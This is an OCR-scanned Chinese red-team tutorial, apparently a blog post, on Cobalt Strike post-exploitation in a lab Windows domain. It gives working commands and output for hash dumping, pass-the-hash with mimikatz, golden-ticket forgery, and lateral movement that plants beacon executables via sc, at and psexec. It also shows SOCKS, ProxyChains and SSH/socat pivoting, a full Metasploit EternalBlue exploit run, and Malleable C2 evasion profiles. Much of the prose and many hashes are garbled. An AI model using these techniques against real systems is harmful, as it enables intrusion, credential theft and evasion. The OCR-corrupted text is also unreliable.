{EF mimikatz SRENZRRBI5 %
e TYERY?

1. mimikatz EREREART —T#E, ARREFXERIBEEARNIRHEAF A,
i, BiEEAE

2. cobalt strike BoIRIMBB T HIZHE IS HEFH X 7]

BSER hashdump ZREXFEFHIZREIEHE, XEH beacon &1EAN SYSTEM R,

newnarchall



|

beacon> hashdump

[*] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc@aczf@6dl: : :
Daniel:1000:aca3b435b5z404eeaad3t435b51404he:12cb161bvca930994x00cbc@aczf@odl: : :
Guest:501:aca3b435b5z404eeaad3f435b51404he:31docfe@d16ae931b73c59d7e0c@89¢O: : :
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc@aczf@6dl: : :

A pth FREUSE

powershell

beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc@aczf@6dl

[+] host called home, sent: 23 bytes

[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /n
tlm:12cb161bvca930994x00cbc@aczf@odl /run:"%COMSPEC% /c echo ade66@d8dce > \\.\pipe\8d3e4
c" command

[+] host called home, sent: 750600 bytes

[+] host called home, sent: 71 bytes

[+] Impersonated NT AUTHORITY\SYSTEM

[+] received output:

user : Administrator
domain : TEAMSSIX
program : C:\Windows\system32\cmd.exe /c echo ade66@d8dce > \\.\pipe\8d3edc
impers. : no
NTLM : 12cb161bvca930994x00cbc@aczf@6dl
| PID 2992
| TID 5028

| LSA Process is now R/W

| LUID @ ; 14812112 (00000000 :00e203d0)

\_ msvl_@ - data copy @ 0000000001794E8Q : OK !
\_ kerberos - data copy @ 000000000044A188

\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old 0K
\ rcd mda 0OK



\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000000017DA1E8 (16) -> null

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}

[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes

[+] received output:

teamssix\administrator

Kerberos Eif

*7F Kerberos INMBAINBENF LIN—EXE, ERFERER), XEH#N:
https://www.zhihu.com/question/22177404
BEEEBMLE Kerberos EifE

ffZ kerberos EifF

powershell

kerberos_ticket_purge

0% kerberos E17

powershell

kerberos_ticket_use [/path/to/file.ticket]

HEZRRE

FHEADTEIRE O~ 0. T+ 1.2 B oD/ T L SadA I Av A~~~ BU/N\NTAYST AN oD TAT HZ D BE /N


https://www.zhihu.com/question/22177404

—=AlLz3<)/A YU LUCTIH 1T LURTL A= NI T T WWN HIJ INCIVUIVo = /)2l Wl XK1, NI T J 1 PN A= |

1SERROERTIIK,, BT IN%E DC MFRIESMKIESHE . ARBRERIETUERRFEERAZ
FEE[EK,, MMERLE R AERZRAEAZIER 1B,

£ mimikatz HIEEEERRE:

1. BMAR B RIEE

2. E# SID &

138 SID EEIRERIRTF Security Identifiers , M whoami /user WIAEE, ETBAH
£ SID &ElN—HEF,

powershell

beacon> shell whoami /user

[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:

AP#& SID

teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000

EAAAEE SID gfa—4AHEF, FRAXBEEFERR SID thFlE S-1-5-21-5311978431-183514165-
284342044

3. DC #2 KRBTGT B NTLM 8%

DC &1 KRBTGT FAFHY NTLM IR FE R LUEE desyne 5 hashdump 3%18, TEHRI hashdump

AN F—1Pialaa 84 O\N/OTIMFA A PO MTB AT T N\—/—



HU < LT mlagHY @ T O TLIVIEHIAPKZS WA | A21] 0

powershell

beacon> hashdump

[*] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc@aczfedl: : :
Guest:501:aca3b435b5z404eeaad3f435b51404he:31docfe@d16ae931b73c59d7e0c@89¢O: : :
krbtgt:502:aca3b435b5z404eeaad3f435b51404he :z1f8417a00az34scwb@dc15x66z43bgl: : :
daniel:1108:aca3b435b5z404eeaad3t435b51404he:12cb161bvca930994x00cbc@aczf@odl: : :

Cobalt Strike 7£ Access -> Golden Ticket HRJAFIHEKESZIENFE.

listener user computer note

WINTEST
Interact —
¢ Golden Ticket

http Dump Hashes
Explore * | Elevate This dialog gengrates a golden ticket and injects it into
. . the current session. -
Pivoting * | Fel G R ata
Spawn | Make Token | | USe: Administrator |
Session * | One-liner Domain: [TEAMSSIX.com ]
Run Mimikatz | | pomain SiD: | [00¢ n
Spawn As
KRBTGT Hash: [417: e [f
" Build || Help|

ERIERZGE, %% Build, £EXE Domain FEIESRY FQDN &=, BlZE2&18igR
Fully Qualified Domain Name 1*3?)5%;51&3: teamssix.com E’\J*%:T:bo

LRI RILAI®EIE  shell dir \\host\C$ HMBEHSELBMNIR, thrIA{FEA PowerShell iB1T
whoami BE B2 21k,



powershell

beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}

[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes

[+] received output:

teamssix\administrator

5. mIE{CHMIT

SR BHATHO NS

1. SEMBILEEXR

2. BHIFTHATXHEIB R L

3. B LIBITRIHAT XXM

4, T3S B RAIIEE

M ERRBVAHEFEENER, TARREIX—TW masuswss BEAGE,
B RTHAT 14

S AHITXHRIBATE Cobalt Strike BJ  Attack -> Packages -> Windows Executable(s) &b#H1T
B,

Packages HTML Application

Web Drive-by * | MS Office Macro I 3 Windows Executable (Stagele...

hear Phich Kl =med et e




q' [ rﬂ.yluuu A D T AT

Windows Executable

[ Windows Executable (S)

Export a stageless Beacon as a Windows

Y

executable. Use Cobalt Strike Arsenal scripts (Help

Listener
Output:
NG54

sign

[smb

l

lWindDWE Service EXE

[v] Use x64 payload

")

Sign executable file

Generate [ Help l

atc
atc

MERATAMPNE@ER), HBA2BIEIN(ER SMB Beacon, SMB Beacon @ 7 W14

@i 2 EMKITH,

EERHAT

B 5{EM Cobalt Strike £RY upload INEELEX M, ZEEHINHRIBERENNEMAIIE,

powershell

shell copy file.exe \\host\C$\Windows\Temp

powershell

beacon> upload /root/beacon.exe

[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe

[+] host called home, sent: 289302 bytes

beacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
r*1 Tasked beacon to run: cobv beacon exe \\WinTest\C$\Windows\Temn



[+] host called home, sent: 72 bytes
[+] received output:
==k 1 DXt

wiTXE (5E—)
1. &£ Windows Service EXE 3 E{&

2. EEMRENLBIZE—TRS

powershell

shell sc \\host create name binpath= c:\windows\temp\file.exe

powershell

beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe

[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes

[+] received output:
[SC] CreateService RIS

7E: 18{E binpath #&12

3. EBFEN LENARSS

powershell



shell sc \\host start name

powershell

beacon> shell sc \\wintest start beacon

[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes

[+] received output:

SERVICE_NAME: beacon

TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : @ (@x@)
CHECKPOINT 1 0x0
WAIT_HINT : Ox7do
PID : 3816
FLAGS :

beacon> 1link wintest

[*] Tasked to link to \\wintest\pipe\msagent_da00

[+] host called home, sent: 36 bytes

[+] established link to child beacon: 192.168.175.130

4, FERIRDS RS

shell sc \\host delete name

powershell

beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytes

beacon> shell del \\wintest\C$\windows\temp\beacon.exe



L*] lasked beacon to run: del \\wintest\(>\windows\temp\beacon.exe
[+] host called home, sent: 83 bytes

beacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes

[+] received output:
[SC] DeleteService R{If

BT (BED)

1. &R Windows EXE # Lf&, STEXBAMM EXE f mx— £ EXE B A—1FAYEE,
XEBARAIZ Windows EXE s ARBHE—HH] Windows Service EXE

2. #E/BERRL_LAYATE]

powershell

shell net time \\host

powershell

beacon> shell net time \\windc

[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes

[+] received output:

\\windc BIHBIRIER 2020/8/30 14:54:09

L RINTER .

3. BIE—itRIESS

powershell



shell at \\host HH:mm C:\path\to\bad.exe

powershell

beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe

[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes

[+] received output:
Fron T —Dmitkdl, EfFEW ID = 1

4. HITRIESBEHITRS, AT link hostname Bl R] =24 F 41

powershell

beacon> link windc

[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes

[+] established link to child beacon: 192.168.175.144

beacon B EENRIE

BIERA AT XN S EESEFHE R FEXE, MRAERFEESD EEXXYE, BB
FA beacon BB hiRfE.

ER—TRSBITHRITX S

powershell

psexec [target] [share] [listener]



FR—1 RSB 1E1T Powershell 172~

powershell

psexec_psh [target] [listener]

18T WinRM i&1T Powershell 1T 2%

powershell

winrm [target] [listener]

BT WMI 1597 Powershell B1T12F

powershell

wmi [target] [listener]

£ Cobalt Strike B9 viwe --> Targets , AHEENIEEFE ump tHAEILUE
17 ERRME, XHEFEM(EEEQRNEINE SR,

EIRH#T—TER, BRAIFRE-—TEENGENEEARARE, RIIFEX
view BEF—TH ﬁlJiEJZH\iREF'E’\JEMEMO

powershell

beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes

TR G
a2 15T net



[+] received output:
List of hosts:
[+] received output:

Server Name IP Address Platform Version Type  Comme
nt

WINDC 192.168.175.144 500 6.1 PDC

WINTEST 192.168.175.130 500 6.1

ERhEEH A BERMNNIAME, FANUAENRLD, ATUEREHFEPEmaNlz:, BB
PowerView E#— FEBAMMEIREATHQNRIHEF

powershell

beacon> powershell-import PowerView.psl
[*] Tasked beacon to import: PowerView.psl
[+] host called home, sent: 101224 bytes

beacon> powershell Find-LocalAdminAccess

[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes

[+] received output:

WinDC.teamssix.com

& TF1E WIinDC LiB1T psexec, ENXER 64 iIH, FRLUEIR psexec64, ZIglalmiki®
— smb beacon, SIEFIEIRCR L& wintest THNESIE, HAORERAYISIENIHES
h&,

BE2HINNNZER N SR wintest £l LR windc WEERKFERSE, FUER
wintest AYTAIE) < HEZ R IAZREX windc RUfE1ERY, EMBIF CS FIZEIC 17 1 BEMH#R G,
MBERIEMZL, BIEZZIEH,


https://teamssix.com/year/200419-150622.html

| address ~ name

" 192.168.175.130 WINTEST
B -
psexec
SYSTEM *@124 * : —
Scan psexec_psh password realm note
Services s5h
Host * | ssh-key
winrm
winrme4
User: [
Password: [
Domain: |

Listener:  |smb

Session: Iad ministrator * via 192.168.175.130@4424

Use session's current access token

Zla, windc £ LT, SHRUMREBEMEN, tAMERZXMAEEREREH.

1 Y aYald< WA %y} - J 753



Iy VYV UVINVY | VAETLAS

EHITHRRREZR, FEERIFEINREREN, WIS RBARLHENIT, T
sleep 0@ Eﬂj\jf_)&_EJ‘Efto

Socks

Beacon Traffic

SOCKS ‘

Traffic

£ HHI beacon FRIMAEHIRIE Pivoting --> SOCKS Server IREB— Socksda KIERSS



HEERS socks [port] HHITIRE
{EAF<S socks stop k4] Socks IEARSS

£ View --> Proxy Pivots AU ERIEZLIEARIEIRS

Metasploit %1%l Socks fLIEARSS

CS HeliEirIBfE, 7£ Metasploit FRIAIGITA T ap< 81T beacon B Socks LIE#1T

B85

setg Proxies socks4:127.0.0.1:[port]
setg ReverseAllowProxy true

MERRGE LEGULLERK, EEIBE Proxy Pivots REFRE Tunnel RHABEWL.
BITATa<HKELE

setg an L unsetg FRRTE metasploit FEFHEN, THEBRXEFEREEEMRE.

1. PMRIEA

KEM IP: 192.168.175.200
&N HMNEB IP 192.168.175.130. ISR IP 192.168.232.133
KHEBHR: 192.168.232.0/24 it E%



HRIEL L& T —1 IP 5 192.168.175.130 E4l, #&BiT ipconfig &, ZENMHME
192.168.232.0/24 ithitEE A,

EHFIENTTEIRE 232 UithitE:, FEULIREBIT 232 BRAMNEN AER L, A URAE
192.168.175.130 fEAR BRI IFRIA S .

2. 188 socks {{IE
FEREED

powershell

beacon> sleep @
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes

F B socks LR

powershell

beacon> socks 9527
[+] started SOCKS4a server on: 9527
[+] host called home, sent: 16 bytes

M E#RIE AT DAE S B AR V1T,

3. Metasploit F#HITIEE

FFE Metasploit f5, i&1T setg ap <



setg Proxies socks4:192.168.175.200:9527

powershell

msf5 > setg Proxies socks4:192.168.175.200:9527
Proxies => socks4:192.168.175.200:9527

4. 131 192.168.232.0/24 thHtERHRY 445 iK1

XEERER, REET 445 im0

use auxiliary/scanner/smb/smb_version
set rhost 192.168.232.0/24

set threads 64

exploit

powershell

msf5 > use auxiliary/scanner/smb/smb_version

msf5 auxiliary(scanner/smb/smb_version) > set rhost 192.168.232.0/24
rhost => 192.168.232.0/24

msf5 auxiliary(scanner/smb/smb_version) > set threads 64
threads => 64

msf5 auxiliary(scanner/smb/smb_version) > exploit

use auxiliary/scanner/smb/smb_version

[*] 192.168.232.0/24:445 - Scanned 44 of 256 hosts (17% complete)
[*] 192.168.232.0/24:445 - Scanned 64 of 256 hosts (25% complete)
[*] 192.168.232.0/24:445 Scanned 110 of 256 hosts (42% complete)
[*] 192.168.232.0/24:445 Scanned 111 of 256 hosts (43% complete)
*7 192.168.232.0/24 445 Scanned 128 of 256 hosts (50% complete)



[+] 192.168.232.133:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN
TEST) (domain:TEAMSSIX) (signatures:optional)

[+] 192.168.232.132:445 - Host is running Windows 2008 HPC SP1 (build:7601) (name:WIND
C) (domain:TEAMSSIX) (signatures:required)

[*] 192.168.232.0/24:445 - Scanned 165 of 256 hosts (64% complete)

[*] 192.168.232.0/24:445 Scanned 184 of 256 hosts (71% complete)

[*] 192.168.232.0/24:445 Scanned 220 of 256 hosts (85% complete)

[*] 192.168.232.0/24:445 Scanned 249 of 256 hosts (97% complete)

[*] 192.168.232.0/24:445 Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

5. RILFIA

BT AT 192.168.232.0/24 HLtERA, MRTESR LR 133 I, ©F 132 EAl
M T 445 500, BizEHNHR Windows 2008 BIIRER S, XBEAKIE Y EENER.

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.232.132

set payload windows/x64/meterpreter/bind_tcp
exploit

powershell

msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.232.132
rhosts => 192.168.232.132

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind
_tep
payload => windows/x64/meterpreter/bind_tcp

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] 192.168.232.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 192.168.232.132:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008
HPC Edition 7601 Service Pack 1 x64 (64-bit)

[*] 192.168.232.132:445 - Scanned 1 of 1 hosts (100% complete)

*7 192.168.232.132:445 - Connectina to taraet for exploitation.



[+] 192.168.232.
[+] 192.168.232.
[*] 192.168.232.
[*] 192.168.232.

ndows Server 2

[*] 192.168.232.

8 HPC Edition

[*] 192.168.232.

@1 Service Pac

[*] 192.168.232.

1

[+] 192.168.232.
[*] 192.168.232.
[*] 192.168.232.
[*] 192.168.232.
[+] 192.168.232.
[+] 192.168.232.

uffer.

[*] 192.168.232.
[*] 192.168.232.
[*] 192.168.232.
[+] 192.168.232.
[*] 192.168.232.
[*] 192.168.232.

132:445 - 0x00000010

132:445 - 0x00000020

132:445 - 0x00000030

57 69 oe

30 30 38

37 36 30

6b 20 31

132:445 - Target arch selected
132:445 - Trying exploit with 12 Groom Allocations.

132:445 - Sending all but last fragment of exploit packet

132:445 - Starting non-paged pool grooming

132:445 - Sending SMBv2 buffers

132:445 - (Closing SMBv1l connection creating free hole adjacent to SMBvZ b

132:445 - Connection established for exploitation.

132:445 - Target 0S selected valid for 0S indicated by SMB reply
132:445 - CORE raw buffer dump
132:445 - 0x00000000

(51 bytes)
64 6f 77 73 20 53 65 72 76 65 72 20 32 Wi

20 48 50 43 20 45 64 69 74 69 6f 6e 20 00

31 20 53 65 72 76 69 63 65 20 50 61 63 76

valid for arch indicated by DCE/RPC reply

132:445 - Sending final SMBvZ2 buffers.

132:445 - Sending last fragment of exploit packet!

132:445 - Receiving response from exploit packet

132:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
132:445 - Sending egg to corrupted connection.

132:445 - Triggering free of corrupted buffer.

[*] Started bind TCP handler against 192.168.232.132:4444
[*] Sending stage (201283 bytes) to 192.168.232.132
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.175.200:9527) at 2020-09-01 22:13:

57 -0400

meterpreter > 1i
Interface 11

Name

Hardware MAC
MTU

IPv4 Address :
IPv4 Netmask :
IPv6 Address
IPv6 Netmask :

pconfig

192.168.232.132
255.255.255.0

: fe80::alac:3035:cbdf:4872
ffff.ffff.ffff.ffff::

: Intel(R) PR0O/1000@ MT Network Connection
: 00:0c:29:d3:6c:3d
1 1500



{£M ProxyChains #{T{{IE A

{£F3 ProxyChains I AEBA10%H N IEE & THRERVER (A 3m & AU

1. # E— RANEBI—, FB—" socks RIEARSS
2. BE& /etc/proxychains.conf N4
3. 1IB1T proxychains + FHTHS

BRGE E—T RRYERIMG:

RE IP: 192.168.175.200

E&FH: JMEB IP 192.168.175.130. HIEB IP 192.168.232.133
KHEBERR: 192.168.232.0/24 thitER

1. I®E& socks {2
BARARREREN, ZEFRE socks I

powershell

beacon> sleep 0
[*] Tasked beacon to become interactive

[+] host called home, sent: 16 bytes
beacon> socks 9527

[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527

2. BoE& ProxyChains


https://teamssix.com/year/200419-150644.html
https://teamssix.com/year/200419-150644.html

FEREN L, BEE  /etc/proxychains.conf NHENEE—1T, BIEHBIKGEN IP 5i1EH
Socks im[, ERUT:

socks4 192.168.175.200 9527

3. FE{EA ProxyChains

B3R E—T {8 Metasploit BRI BAXIE, 7£ 192.168.232.0/24 it ERFRFEE
192.168.232.132 , #ZFTR(EA nmap HE—TFE LAIRO, XEI 80,443,445,3389 E &

TNo

proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389

-sT: {$F TCP 131&
—-Pn: ARER Ping
-p: FEERHEIKRO
F AL -sT -Pn S, KBIEER proxychains HITH IR

powershell

> proxychains
[proxychains]
[proxychains]
[proxychains]
Starting Nmap
[proxychains]
[proxychains]
[proxychains]
broxvchains1

nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389

config file found: /etc/proxychains.conf

preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4
DLL init: proxychains-ng 4.14
7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT

Strict chain
Strict chain
Strict chain
Strict chain

192.168.175.200:9527
192.168.175.200:9527
192.168.175.200:9527
192 .168.175.200:9527

192.168.232.132:80 ... OK
192.168.232.132:445 ... OK
192.168.232.132:3389 ... OK

192 .168.232.132:443 <--denied


https://teamssix.com/year/200419-150644.html

Nmap scan report for 192.168.232.132
Host is up (0.19s latency).

PORT STATE SERVICE
80/tcp open http

443/tcp closed https

445/tcp open microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds

BIREAUERIB R 80 Im O FTHEY, = FREMA curl fERNILERA,

curl 192.168.232.132
proxychains curl 192.168.232.132

powershell

> curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 8@: No route to host

> proxychains curl 192.168.232.132

[proxychains] config file found: /etc/proxychains.conf

[proxychains] preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.14

[proxychains] Strict chain ... 192.168.175.200:9527 ... 192.168.232.132:80 ... OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DT
D/xhtmll-strict.dtd">

<html xmlns="http://waww.w3.0rg/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />



2, RRA¥A

RoEARMBEXMEN F—1 PIRINEARERER, ZRIFINIZENRIES SBSH -->
FEEN --> AREN , REEENE AMEN --> EEEN --> CSBSHE

Beacon Traffic

/1 o (R Listen
Team Server _| s g Host

GEEER FEVETRNE, BhAT EEENRIE, &F Pivoting --> Listener , FRT



https://teamssix.com/year/200419-150644.html

Name &Iz 5h, CS #=BmiicEY, XEERERMIANEKERES.

Cobalt Strike View Aftacks Reporting Help
D0 O E=¢ 8 lPU SEGwEHsa B G

internal = listener
192 168.232. 133 hitp

external
FI~ 102168175130

Interact

Access B New Listener @

Explore A pivot listener is a way to use a compromised system

S as a redirector for other Beacon sessions. -
SRS SOCKS Server
Spawn Listener... Name: [R—me'f I
session * | Deploy VPN Payload: Iwindows!beacon_reverse_tcp - I

Listen Host| [192 168 232 133 |

Listen Port] [4444 |

EventLog X | Listeners X | Sites X | Web Lo{ Session | [strator *via 192.168.232 133@2152| . |

beacon> sleep 0

I Save H Help l

:d beacon to become interactiwve

[+] host called home, sent: 16 by

ZIBEM— Windows FIH{TX M, 1EF E—FPEMREITES, WRENE 64 I AEER

A DAavlA~AA~A AAETH




AV T UAytivaaddad HJA="/No

Attacks

| Packages

Spear Phish

Web Drive-by *

HTML Application
MS Office Macro
FPayload Generator
Windows Executable

Windows Executable (S}

I B Windows Executable [Stage... ,J

Export a stageless Beacon as a Windows
executable. Use Cobalt Strike Arsenal scripts (Help -

umE

Listenef: |R_Proxy |
Output{ |Windows EXE -
X64: Use x64 payload

sign: ["1sign executable file

Generate || ep |

_isteners X

Sites X

Web Log X

Beacon 192168232 133@2152 X

ZIEEZAI AT BAREAN EHATENRT, MM U= ERNE M sESE

AT,




HEMRPITIZX MR, MeRISRIT LMY 192.168.232.132 EHER L4 T,

| # Cobalt Strike

Cobalt Strike View Aftacks Reporting Help

08 QO E=¢ B FL GeBHN Lo B G

external internal = listener user
ZZ~ 192168232 133 ovoo 192 168.232 132 administrator *

computer

B® 102168175130 192.168.232.133 http Administrator * WINTEST

EventLog X | Beacon 192.168.232.132@3912 X | Listeners X | Sites X | Beacon 192.168.232.133@2152 X
[+] established link to parent beacon: 192.168.232.133
beacon> shell ipconfig

[ Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes

[+] received output

Windows IP ﬁﬂﬁ

LAKPEERLES AHuER: :

FEHEEER ons B8R . e
AaibEk: teve dibE. . . . . . . . : feB0::alac:3035:chdf:4872%11
evd B . . . . . . . . . . . . {192.168.232.132

: 255.255.255.0

: 192.168.232.1

{4097FC11-0E06-43BB-BEYC-60E3C5773R0B} :

MEE . . . . oL REEER
EEISER ons I58 . . . . . L L



B—n—, RTXabz M LARab T2zl E CS 3.x iIRAZE, Mt 4.0 NRIFHRT AR =
HERZ,

M EXTXEDABFH CS 4.0 MHRERENZIZX D, —FaESE 3x HENRR TRS
M, REETEASMRAELRINT —RBRTXB AT 4.0 HiZ, FEHENSETTRIN
FERANILEE &,

3. 1#@id SSH FiEEE

SSH Traffic

i seep L -

rF g
! TARGET

1. &R LR ESXEERN PIVOT ENAFRIRCO¥EAR

ssh -D 1080 user@<blue pivot>



Zam P -D SHEE SSH EIL— socket, HEMITALUMAY 1080 IO, —BH
FREEATNRO, MEDCEREE SSH EiZx LtH, MEREEEEN.

2. EABKXIEN PIVOT 4 EHF/EET SSH Socks B 445 imiE A

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445

socat A AIRAREX netcat RYNNERAR ., socat iEIL socks EEBIAIROFE 1080, BHF
B EEZENME 1080, FIXEARFTTE, NRIFRE 7T HMIGO, BLAXEBERRTE
ESRSREMLE |, socksport=<port> IBEIHOAIT,

3. ERHERFIEN _LITTT beacon, {FH E4

IETEEMRH administrator #PRIE1T beacon

4, FEENENLBITAUA TS

make_token [DOMAIN\user] [password]
jump psexec_psh <red pivot> [listener]

BINRIE 2 T EIXKE—#,



‘B2 %!
g _—_—
l ssh -D 1080

socat ...
* Beacon Traffic

ssh -D 1080 user@
socat TCP4-LISTEN:445 fork SOCKS4:127.0.0.1;

AT IR 7 XA — IS



2 E&FEH

Win1 s Linux1
192.168.175. 130 192.168.175. 200

r s

Linux2
192.168. 175. 146
192.168. 232. 136

A A

Win2
192.168. 232. 132

HArEN

Team Server

1. B5(E Win1 £ L4, BT Linux! 4 @53 SSH #ZE#3 Linux2 E4,.

ssh -D 1080 user@192.168.175.146



powershell

> ssh -D 1080 user@192.168.175.146
user@192.168.175.146"'s password:

Last login: Fri Jul 31 20:00:54 2020 from 192.168.175.1
user@ubuntu:~$

2. 1£ Linux1 EH EFE 445 IOk

socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445

3. £ Winl EN EIEBTUTFas<fE Win2 £4;

make_token teamssix\administrator Test123!
jump psexec_psh 192.168.175.200 smb

powershell

beacon> make_token teamssix\administrator Test123!

[*] Tasked beacon to create a token for teamssix\administrator
[+] host called home, sent: 61 bytes

[+] Impersonated WINTEST\Administrator

beacon> jump psexec_psh 192.168.175.200 smb

[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_532c) on 192.168.175.
200 via Service Control Manager (PSH)

[+] host called home, sent: 5886 bytes

[+] received output:

Started service 4aea3b9 on 192.168.175.200

[+] host called home, sent: 204473 bytes

[+] established 1link to child beacon: 192.168.232.132



4. MEfEERTUEER@Y SSH E4M=E

§ Cobalt Strike
Cobalt Strike View Attacks Reporting Help

00 (O E=E¢ BELPL GwBED s B

external internal =~ listener user computer
B® 102.168.175.130 192.168.175.130 http Administrator *
Gg~ 192.168.175.130 oooo 192.168.232.132

WINTEST
SYSTEM *

called home,

sent: 588

output
rvice 4a

[+] host called home,

[+] established link to

child beacon: 192.168.232.132

1. Malleable &< f1i=H

Malleable 22— 34 ESEMIES, FTEFFREE Cobalt Strike Beacon

EFFE teamserver i, EEGLSEIEEREXXFENTIER, tbal:

./teamserver [ip address] [password] [profile]

2, IENEA

EXFES5ER

http-get {
# 54T

ks

http-post {



# fEhn

1215 P im AL AR 35 Um 15 A

http-get {
client {
# ¥R
ks

server {
# ¥R
}

set ¥E

set IBARL—TIAIRENTE, UDSER,

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)";

malleable 257 AR %2k, Lbal:

jitter # 1=l beacon EOIAENEMIRIZNEF

maxdns # 1=HIERA DNS 1EK, PREIZAENEFILME DNS Beacon KRIFFUEEILERKIEFEL
sleeptime # 124l beacon RYZERREARATIE]

spawnto

uri

useragent # 2HIERARFIEKHN useragent

sleeptime # jitter A EIMERREZEN

WIEE headers



header "Accept" "text/html,application/xhtml";
header "Referer" "https://www.google.com";
header "Progma" "no-cache";

header "Cache-Control" "no-cache";

Hithgtn

header "header
parameter "key

value";
value";

Wit / AR

metadata {
netbios;
append "-.jpg";
uri-append;

5@“@0000

netbios encode append "-.jpg" uri-append
line 11 line 12 line 13

gngfhegbgegbhegb gngfhegbgegbhegb-.jpg gg:,:




Receive...

retrieve from URI remove last 5 characters netbios decode
line 13 line 12 line 11

o_. sreEET | Pem—

3. EEBIEE

append "string"
base64

netbios

netbiosu
prepend "string"

4, MidECE X4

7 GitHub B —EEXHRREI, WEMNE: https://github.com/rsmudge/Malleable—
C2-Profiles

X—TIE{ERZINE Y Malleable-C2-Profiles/APT/havex.profile FER&S{EVES R,

MNECENXHEEB N


https://github.com/rsmudge/Malleable-C2-Profiles

I BAEA c2lint TAMEEXHHITUI, NUHMEEXGHRESNESEN.

K| cobalt strike BRF, FIMERIE— c2lint X, ZXMHFFERIE Linux TIETT.

EEITHERY, BIEE (XEFGRER) , AeEE, 485H1R, tbiiE1T Malleable-C2-
Profiles INHEEAY havex.profile Xf&,

./c2lint ./Malleable-C2-Profiles/APT/havex.profile

POST 3x check passed
.http-get.server.output si
.http-get.client i
.http-post.client size is
.http-get.client.metadata form+mangle+recover passed (1 byte[s])
.http-get.client.metadata sform+mangle+recover
.http-get.client.metadata sform+mangle+rec
.http-get.client.metadata t orm+mangle+rec
.http-get.server.o transform+mangle+recover passed (0 byte[s])
.http-get.server. transform+mangle+recover ed (1 byte[s])
.http-get /er. transform+mangle+recover ed (4 byte[s])
.http-get IeT. transform+mangle+recover (1@ 76 byte[s])
.http- .client.id transform+mangle+recover passed (4 byte[s])
.http-post.client.output transform+mangle+recover passed (0 byte[s])
.http- .client.output tr form+mangle+recover passed (1 byte[s])
.http-post.client.output g results
.http-post.client. transform+mangle+recover passed (48248 byte[s])
.http-post.client.output transform+mangle+recover passed (1 6 byte[s])
Beacon profile specifies an HTTP Cookie header. Will tell winINet to allow this.

_stage is true. Y acon payload is available to anyone that connects to your server to request it. Are you OK with this?

pawnto 6 indi swow64\rundl132.exe'. This is a *really* bad OP! cho
